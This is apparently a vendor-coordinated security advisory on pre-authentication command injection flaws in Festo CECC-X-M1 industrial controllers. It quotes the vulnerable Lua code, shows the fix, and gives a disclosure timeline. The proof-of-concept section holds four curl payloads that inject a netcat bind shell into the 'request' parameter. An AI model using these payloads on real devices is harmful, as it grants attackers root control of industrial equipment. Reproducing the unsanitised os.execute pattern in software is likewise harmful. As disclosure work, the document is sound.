To evaluate and strengthen the automated vulnerability detection capabilities of ONEKEY, we frequently download and analyze firmware images from a variety of vendors. This is how we stumbled upon the CECC-X-M1 product line, an industrial controller manufactured by FESTO.
We identified multiple issues affecting these devices leading to unauthenticated remote command execution. These issues are detailed below.
Affected vendor & product | FESTO Controller CECC-X-M1 (https://www.festo.com/) |
Vendor Advisory | CERT@VDE Advisory VDE-2022-020 Festo Advisory FSA-202201 |
Vulnerable version | Controller CECC-X-M1 <= 3.8.14 Controller CECC-X-M1 = 4.0.14 Controller CECC-X-M1-MV <= 3.8.14 Controller CECC-X-M1-MV = 4.0.14 Controller CECC-X-M1-MV-S1 <= 3.8.14 Controller CECC-X-M1-MV-S1 = 4.0.14 Controller CECC-X-M1-YS-L1 <= 3.8.14 Controller CECC-X-M1-YS-L2<= 3.8.14 Controller CECC-X-M1-Y-YJKP<= 3.8.14 Servo Press Kit YJKP<= 3.8.14 Servo Press Kit YJKP-<= 3.8.14 |
Fixed version | Version 3.8.18 for 3.8.x branch. Version 4.0.18 for 4.0.x branch. |
CVE IDs | CVE-2022-30308 CVE-2022-30309 CVE-2022-30310 CVE-2022-30311 |
Impact | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H) |
Credit | M. Illes, ONEKEY Research Lab Q. Kaiser, ONEKEY Research Lab |
Fixed Firmwares
The fixed firmware versions are available at the following locations:
Vendor description
Festo is a successful brand of a German multinational industrial control and automation company based in Esslingen am Neckar, Germany. Festo produces and sells pneumatic and electrical control and drive technology for factory or process automation.
Summary
The CECC-MX-M1 is affected by an pre-authentication command injection vulnerability. Any person who is able to gain network access to a CECC-MX-M1 would be able to run arbitrary system commands on the device with root privileges.
Firmware Unpacking
Festo firmwares are packed in different format layers. The first is a ZIP file containing ffwu
files. These ffwu files are XML files containing multiple application
entries holding base64 encoded gzip streams. Once decoded and decompressed, these streams contain FEZLV partitions, a custom partition format from Festo.
We implemented two custom unblob handlers (one for FFWU, one for FEZLV) in order to have a reproducible and comfortable way of accessing a cleanly unpacked firmware.
The visualization below represents what the firmware looks like using a treemap view that we can generate from unblob’s report files. This treemap can be navigated to “drill” into the firmware structure.
Firmware Analysis
Whenever we identify a scripting language being used by a device, we have the tendency to look for low hanging fruits using our firmware search engine. In our case, we quickly identified potentially vulnerable endpoints by looking for system calls (os.execute) in Lua.
Proof of concept
A web server is listening on CECC-MX-M1 devices, but authentication is only enabled for a limited subset (
/cgi-bin/auth
) of the interface. Here’s the content of /etc/httpd.conf:
#authentication rules for specific web folders #uncomment next line if web requires root login for all pages #/cgi-bin:root:* /cgi-bin/auth:root:* #/cgi-bin/hidden:admin:admin
The web interface is made of CGI scripts executed using haserl and Lua.
We found multiple command injection vulnerabilities within the Lua files used by the web server.
Command injection in cecc-x-acknerr-request through ‘request’ POST parameter
In the snippet below, we see that the ‘request’ parameter is fed to os.execute
without prior sanitization:
if POST.request then local rqPort = POST.request if (rqPort ~= "undefined" ) then local result = os.execute("cat /ffx/www/public/cam_acknerr.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out") end end
Command injection in cecc-x-refresh-request through ‘request’ POST parameter
In the snippet below, we see that the ‘request’ parameter is fed to os.execute
without prior sanitization:
if POST.request then local rqPort = POST.request if (rqPort ~= "undefined" ) then local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc ".. ip .. " " .. rqPort .." > /tmp/web_read_state.out") end end
Command injection in cecc-x-web-viewer-request-off through ‘request’ POST parameter
In the snippet below, we see that the ‘request’ parameter is fed to os.execute
without prior sanitization:
if POST.request then local rqPort = POST.request if (rqPort ~= "undefined" ) then local result = os.execute("cat /ffx/www/public/cam_disable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out") end end
Command injection in cecc-x-web-viewer-request-on through ‘request’ POST parameter
In the snippet below, we see that the ‘request’ parameter is fed to os.execute
without prior sanitization:
if POST.request then local rqPort = POST.request if (rqPort ~= "undefined" ) then local result = os.execute("cat /ffx/www/public/cam_enable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out") end end
All these issues can be exploited with a single curl call, reproduced below for every identified issue:
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-on -d 'request=$(nc -l -p 4444 -e sh)' curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-off -d 'request=$(nc -l -p 4444 -e sh)' curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-acknerr-request -d 'request=$(nc -l -p 4444 -e sh)' curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-refresh-request -d 'request=$(nc -l -p 4444 -e sh)'
The Fix
Festo engineers developed a simple yet effective fix: only accepting integers as input parameters. They’re doing it in a quite convoluted way (regular expression and length check while they could have used tonumber), but it works:
local ip = "127.0.0.1" local response = "unexpected" local Cross_site_check_port = "^[%d]+$" if POST.request and string.find(POST.request, Cross_site_check_port) and string.len(POST.request) < 6 then local rqPort = POST.request local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_read_state.out")require"wui" --snip-- end
Interestingly, they did not modify the httpd.conf
file, leaving parts of the web interface exposed to unauthenticated users.
Key Takeaways
It will be obvious from the timeline, but this is by far our best coordinated vulnerability disclosure experience. Festo had a clear page where we could find details on how to contact their product security incident response team by email, with both PGP and S/MIME encryption available. They rapidly acknowledged our report, confirmed it internally, and coordinated with CERT VDE to release a clear advisory to their customers. They even asked our take on their draft advisory and mitigation.
Timeline
- 2022-04-08 – Report sent to Festo PSIRT
- 2022-04-11 – Acknowledgement from Festo PSIRT, Festo starts investigating internally
- 2022-04-28 – Festo confirms they could reproduce our report.
- 2022-05-17 – Festo provides CVE IDs, CERT-VDE advisory ID, and draft advisory for review.
- 2022-05-18 – We provide our comments regarding the draft advisory.
- 2022-05-23 – Festo provides updated advisory
- 2022-06-08 – CERT VDE publishes its advisory
- 2022-07-06 – Festo release its updated firmware
- 2022-07-07 – ONEKEY advisory release